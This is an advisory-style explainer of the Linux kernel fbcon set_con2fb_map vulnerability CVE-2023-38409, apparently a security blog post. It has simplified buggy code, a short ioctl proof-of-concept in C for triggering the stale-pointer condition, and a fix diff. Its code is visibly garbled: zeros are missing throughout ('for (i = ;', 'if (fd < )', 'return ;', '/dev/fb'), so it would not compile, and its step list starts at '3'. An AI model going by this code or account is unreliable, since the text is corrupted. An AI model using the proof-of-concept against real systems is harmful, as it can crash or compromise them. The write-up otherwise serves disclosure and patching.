CVE-2023-38409 - Inside the Linux Kernel `set_con2fb_map` Bug and How It Exposes Your Display

- [PoC / Exploit Example](#poc--exploit-example)

Summary

CVE-2023-38409 is a subtle but critical vulnerability found in the Linux kernel’s framebuffer (fbdev) console code, specifically before version 6.2.12. The issue creeps into set_con2fb_map (located in drivers/video/fbdev/core/fbcon.c) and may allow a local attacker to desynchronize certain internal framebuffer data—potentially leading to memory safety bugs, system crashes, or information leaks.

This post walks you through exactly what happened, in simple terms, with code snippets, a practical example, and clear advice.

Background

The Linux framebuffer (fbdev) system lets programs and the kernel draw graphics directly on your console, without needing X, Wayland, or other windowing systems. It uses internal data structures like fbcon_display[] and fbcon_registered_fb[] arrays to track which framebuffer each *virtual console* (VC) uses.

The function set_con2fb_map ties a virtual console (userspace text-based screen) to a framebuffer device. This mapping is central to how Linux displays text and graphics at the console level.

What is the Vulnerability?

The kernel tracks what framebuffer is attached to each virtual console using several arrays. When you reassign VCs (like after unplugging a graphics card and plugging another), all those internal arrays must stay perfectly in sync.

The bug: If you map a framebuffer to more than one virtual console, the assignment code in set_con2fb_map only updates data for the first VC. Later, if this framebuffer device is removed (for example, via fbcon_mode_deleted), some arrays are updated, but others are not. This leaves con2fb_map pointing at a now-invalid framebuffer device.

*In security terms: This mismatch might let a local attacker trick the kernel into using old/stale pointers, which can trigger undefined behavior, including memory reading/writing where it shouldn't.*

The Code: Where the Bug Hid

The main function in question is set_con2fb_map.

Let’s look at a trimmed, simplified version of the buggy code (pre-6.2.12)

int set_con2fb_map(int* map, int count) {
    int i;

    for (i = ; i < count; i++) {
        if (vc_cons[i].d) {
            // Only assign for first virtual console
            fbcon_display[i].fb_info = fb_info[map[i]];
        }
    }
    // con2fb_map updated for all VCs
    memcpy(con2fb_map, map, count * sizeof(int));
}

But when the framebuffer device is removed

void fbcon_mode_deleted(struct fb_info *info) {
    for (i = ; i < MAX_NR_CONSOLES; i++) {
        if (fbcon_display[i].fb_info == info) {
            // This assigns fb_info = NULL for display[i]
            fbcon_display[i].fb_info = NULL;
        }
        // BUT con2fb_map might still point to 'info'
    }
}

Result:fbcon_display and con2fb_map are out of sync.

Remove the framebuffer device (unplug the graphics card, unbind the driver).

3. Trigger an event using the VC (like switching consoles, opening a new terminal), making the kernel access the now-stale pointer.

Real-World Risks

- Privilege escalation: If an attacker can map the freed framebuffer pointer to a structure they control, they could trigger a use-after-free.
- Denial of Service: Causing the kernel to read/write where it shouldn’t can panic or hang the system.

Information disclosure: Uninitialized or freed memory might leak sensitive data to the console.

## PoC / Exploit Example

This is a simplified proof of concept. Note: This is for educational *defense* purposes. Requires root privileges.

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/fb.h>
#include <unistd.h>

#define NUM_VCS 2

int main() {
    int map[NUM_VCS] = {, }; // Assign fb to VC and VC1
    int fd = open("/dev/fb", O_RDWR);
    if (fd < ) {
        perror("open");
        return 1;
    }

    // Set console to use our map (root only)
    if (ioctl(fd, FBIOPUT_CON2FBMAP, map) < ) {
        perror("FBIOPUT_CON2FBMAP");
        close(fd);
        return 1;
    }

    printf("Now try physically disconnecting/removing /dev/fb (unplug GPU, etc)...\n");
    printf("Then switch virtual consoles and watch for kernel panic or info leaks.\n");

    close(fd);
    return ;
}

Mitigation and Patching

Fixed Version: Linux kernel 6.2.12 and later.

Consider disabling framebuffer consoles you don’t use.

Patch Diff: (upstream commit)

- fbcon_display[i].fb_info = NULL;
+ if (con2fb_map[i] == idx)
+    con2fb_map[i] = -1;
+ fbcon_display[i].fb_info = NULL;

References

- CVE Database Entry
- Linux Kernel commit fixing this (April 2023)
- oss-security mailing list
- fbcon.c source code


Bottom line: Even small synchronization bugs like this in core Linux kernel code can have outsized security effects. If you run a system with framebuffer consoles, check your kernel version and patch early!

Timeline

Published on: 07/17/2023 22:15:00 UTC
Last modified on: 07/27/2023 03:49:00 UTC